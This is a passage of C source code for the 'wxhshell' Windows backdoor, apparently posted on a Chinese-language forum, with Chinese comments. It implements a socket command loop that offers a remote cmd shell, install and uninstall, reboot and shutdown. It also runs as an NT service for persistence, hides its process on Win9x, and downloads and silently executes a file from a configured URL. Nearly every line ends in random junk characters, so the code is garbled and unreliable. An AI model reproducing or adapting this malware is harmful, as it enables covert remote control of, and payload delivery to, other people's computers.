  else { w<j6ln+nM  
;+K:^*oJ  
    switch(cmd[0]) { kac@yQD  
  6}R^L(^M  
  // 帮助 DU$]e1  
  case '?': { \*6%o0c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :Oo  
    break; "-XL Y_  
  } aAO[Y"-:,Y  
  // 安装 qhVDC  
  case 'i': { KL*ZPKG  
    if(Install()) N^q*lV#kob  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +xRja(d6  
    else 3O%[k<S\VO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); liFNJd`|o+  
    break; : Ey  
    } Nt67Ye3;  
  // 卸载 = sedkrM  
  case 'r': { 4nkH0dJQ  
    if(Uninstall()) k='sI^lF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D9e"E1f+"  
    else e%x$Cb:znn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0 sVCTJ@  
    break; zm2&\8J  
    } tc@v9`^_  
  // 显示 wxhshell 所在路径 ih2H~c>O  
  case 'p': { B$g!4C `g  
    char svExeFile[MAX_PATH]; ~b5aT;ObR  
    strcpy(svExeFile,"\n\r"); S+|aCRS  
      strcat(svExeFile,ExeFile); !6|Kpy8  
        send(wsh,svExeFile,strlen(svExeFile),0); L':;Vv~-  
    break; eOy{]< l3  
    } KQ?E]}rZ  
  // 重启 )=9\6zXS  
  case 'b': { e`4OlM]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kJy<vb~   
    if(Boot(REBOOT)) /YH Bhoat  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 *He<2g  
    else { Wf 13Ab  
    closesocket(wsh); 1W8[ RET  
    ExitThread(0); ^Ot+,l)  
    } Z i$a6  
    break; *Au4q<   
    } -`]B4Nt6  
  // 关机 ]jG%<j9A  
  case 'd': { W5$jIQ}Bw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z4}Yw{=f  
    if(Boot(SHUTDOWN)) $J[h(>-X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PmvTCfsg  
    else { "KOLRJ@  
    closesocket(wsh); R[wy{4<y  
    ExitThread(0); EU ThH.  
    } =w".B[r  
    break; ~Ht[kO  
    } 8l>/ZZ.NXi  
  // 获取shell Cv{rd##Y8  
  case 's': { g Gg8O? Z  
    CmdShell(wsh); %&Z!-k(  
    closesocket(wsh); !rb)Y;WQt  
    ExitThread(0); U?>P6p  
    break; !-x^b.${B  
  } VyCBJK  
  // 退出 .zlUN0oe  
  case 'x': { ; z:}OD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h_?D%b~5  
    CloseIt(wsh); h\C  
    break; 9g"a`a?c  
    } \PU|<Ru.  
  // 离开 V5K`TC^  
  case 'q': { ?OYu BZF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QtkyKR  
    closesocket(wsh); 8iK>bp  
    WSACleanup(); g[-'0d\1  
    exit(1); fbNVmjb$)  
    break; ],>Z' W  
        } $tj[ *  
  } wi:]oo#  
  } RFDwL~-p  
\M=" R-&b  
  // 提示信息 ff-9NvW4v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rla1,{1  
} nXb;&n%  
  } t=iy40_T  
h:" <x$F  
  return; -} 9ZZ#K  
} "J, ErnM  
1 W2AE?  
// shell模块句柄 Nk86Y2h  
int CmdShell(SOCKET sock) z^{VqC*o+  
{ H1 n`A#6?  
STARTUPINFO si; u` `FD  
ZeroMemory(&si,sizeof(si)); a[xEN7L~4D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YX18!OhQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v)d\ 5#7  
PROCESS_INFORMATION ProcessInfo; /0!6;PC<  
char cmdline[]="cmd"; 50l=B]M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~k+-))pf  
  return 0; [#)-F_S  
} `WC~cb\  
6 jRF[N8  
// 自身启动模式 xO'1|b^&  
int StartFromService(void) /=lrdp!a  
{ ;,JCA# N  
typedef struct puL1A?Y8UM  
{ |0B h  
  DWORD ExitStatus; 0kQAT #  
  DWORD PebBaseAddress; N02N w(pi  
  DWORD AffinityMask; Q6RBZucv  
  DWORD BasePriority; kE UfQLbn  
  ULONG UniqueProcessId; Goz9"yazg  
  ULONG InheritedFromUniqueProcessId; ;?yd;GOt)  
}   PROCESS_BASIC_INFORMATION; "[BuQ0(g  
87>\wUJ  
PROCNTQSIP NtQueryInformationProcess; K S,X$)9  
/(E)|*~6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [j eZZB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _E:]qv  
.AWRe1?  
  HANDLE             hProcess; v\c.xtjI5x  
  PROCESS_BASIC_INFORMATION pbi; bMxzJRrNg  
xdXt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,l#V eC  
  if(NULL == hInst ) return 0; c+_F nA  
g Uy >I(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +[V?3Gdb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xQm!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); enO5XsIc  
)`,3/i9C$  
  if (!NtQueryInformationProcess) return 0; X[(u]h`  
gK9@-e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jQj`GnN|  
  if(!hProcess) return 0; Fj7cI +  
(m-(5 CaJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D5]T.8kX(7  
.?<,J  
  CloseHandle(hProcess); kZ[E493bV  
JyjS#BWi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [q?{e1  
if(hProcess==NULL) return 0; QApil  
]p `#KVW  
HMODULE hMod; =eDVgOZ)  
char procName[255]; ql2>C.k3L  
unsigned long cbNeeded; 'eLO#1Ipf  
U9SByqa1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <FRYt-+  
bfQ+}|;  
  CloseHandle(hProcess); b=wc-n A  
rMH\;\ I|U  
if(strstr(procName,"services")) return 1; // 以服务启动 u0A.I_  
TC<_I0jCh  
  return 0; // 注册表启动 $eCxpb..  
} {Ymn_   
*FQrmdwb]L  
// 主模块 D+9xI  
int StartWxhshell(LPSTR lpCmdLine) }(hx$G^M  
{ }{n[_:[7  
  SOCKET wsl; <JuP+\JAm  
BOOL val=TRUE; bsmZR(EnU  
  int port=0; Cz+`C9#  
  struct sockaddr_in door; X) owj7U;  
) 'j7Ra  
  if(wscfg.ws_autoins) Install(); Z7V 1e<E  
^$FHI_  
port=atoi(lpCmdLine); q$yTG!q*  
kbN2dL  
if(port<=0) port=wscfg.ws_port; ,@;",  
^r?ZrbSbz  
  WSADATA data; }Cvf[H1+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VA&_dU]*  
d!D#:l3;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >KNiMW^V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X"z^4?Aj+  
  door.sin_family = AF_INET; K pDKIi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MD1n+FgTu  
  door.sin_port = htons(port); QaH32(iH  
rFh!&_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -v/1R1$e1  
closesocket(wsl); u<!8dQ8  
return 1; 4[44Eku\  
} _s[ohMlh  
u3a"[DB9c  
  if(listen(wsl,2) == INVALID_SOCKET) { ?xWO>#/  
closesocket(wsl); NoB)tAvw  
return 1; jL8.*pfv  
} Sp]"Xr)  
  Wxhshell(wsl); w<!F& kQB  
  WSACleanup(); V8@VR`!'  
M2W4 RovfR  
return 0; z\]]d?d?;  
7 y5`YJ}!  
} G|H+ ,B  
--6C>iY[&u  
// 以NT服务方式启动 UMILAoR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bBk_2lg=4)  
{ 4@AY~"dq  
DWORD   status = 0; i%_W{;e  
  DWORD   specificError = 0xfffffff; n0bm 'qw  
Hz ) Xn\x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J: vq)G\F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f~%|Iu1ob  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w[YiH $  
  serviceStatus.dwWin32ExitCode     = 0; iH<:wLY&J  
  serviceStatus.dwServiceSpecificExitCode = 0; J&CA#Bg:w  
  serviceStatus.dwCheckPoint       = 0; }`ox;Q  
  serviceStatus.dwWaitHint       = 0; Z@2^> eC  
 O{R)0&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R.@I}>  
  if (hServiceStatusHandle==0) return; wW EnAW~  
<tXk\ cOg  
status = GetLastError(); t 1}R#NB  
  if (status!=NO_ERROR) " R!,5HQF;  
{ Q"7vzri  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y&!-VW  
    serviceStatus.dwCheckPoint       = 0; MKPxF@N(  
    serviceStatus.dwWaitHint       = 0; |L[/]@|  
    serviceStatus.dwWin32ExitCode     = status; NOM6},rp  
    serviceStatus.dwServiceSpecificExitCode = specificError; akATwSrU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i=T!4'Zu  
    return; Tsg;i;  
  } .;}vp*  
2n+tc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;l`us  
  serviceStatus.dwCheckPoint       = 0; L|ZxB7xk  
  serviceStatus.dwWaitHint       = 0; ]dIcW9a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bca4'`3\|  
} +i^@QNOa  
opsjei@  
// 处理NT服务事件,比如:启动、停止 xl2;DFiYt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %])U(  
{ w_qX~d/  
switch(fdwControl) V1di#i:  
{ o-i9 :AHs  
case SERVICE_CONTROL_STOP: .3>`yL  
  serviceStatus.dwWin32ExitCode = 0; iOY: a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uJ-Q]yQ  
  serviceStatus.dwCheckPoint   = 0; A\ARjSdb  
  serviceStatus.dwWaitHint     = 0; '^B[Krs'Z`  
  { Cq8.^=}_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8! eYax   
  } [GQn1ZLc  
  return; FxU a5 n  
case SERVICE_CONTROL_PAUSE: Fi)(~ji:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RK )1@Tz7!  
  break; <ks+JkW_  
case SERVICE_CONTROL_CONTINUE: |ht:_l 8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7md,!|m  
  break; gZq _BY_U  
case SERVICE_CONTROL_INTERROGATE: h'lqj0  
  break; |2ImitN0  
}; tVQq,_9C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jRiXN %  
} *!oV?N[eA'  
Yo%ph%e  
// 标准应用程序主函数 .fFXH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4j|IG/m  
{ y'L7o V?L9  
FQTAkkA_!  
// 获取操作系统版本 q"(b}3  
OsIsNt=GetOsVer();  )OHGg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #{_iNra9  
(vP<}  
  // 从命令行安装 2$r8^}Nj?  
  if(strpbrk(lpCmdLine,"iI")) Install(); G+7#!y Y  
^?J3nf{  
  // 下载执行文件 HTz5LAe~b7  
if(wscfg.ws_downexe) { ZSWZz8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9*Q6/?v  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9$k0  
} ~Y/:]&wF  
OEw#;l4 C  
if(!OsIsNt) { ] M`%@ps  
// 如果时win9x,隐藏进程并且设置为注册表启动 t =V| '  
HideProc(); )E|{.K  
StartWxhshell(lpCmdLine); H2lQ(Y+H  
} )Cu2xRr^`  
else ff&jR71E  
  if(StartFromService()) -wa"&Q  
  // 以服务方式启动 @yM$Et5  
  StartServiceCtrlDispatcher(DispatchTable); @U+#@6  
else C19}Y4r:  
  // 普通方式启动 p0rmcP1Ln  
  StartWxhshell(lpCmdLine);  LXoZ.3S  
mq}V @H5  
return 0; n g%~mt  
}
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只看该作者 1 发表于: 2006-10-10
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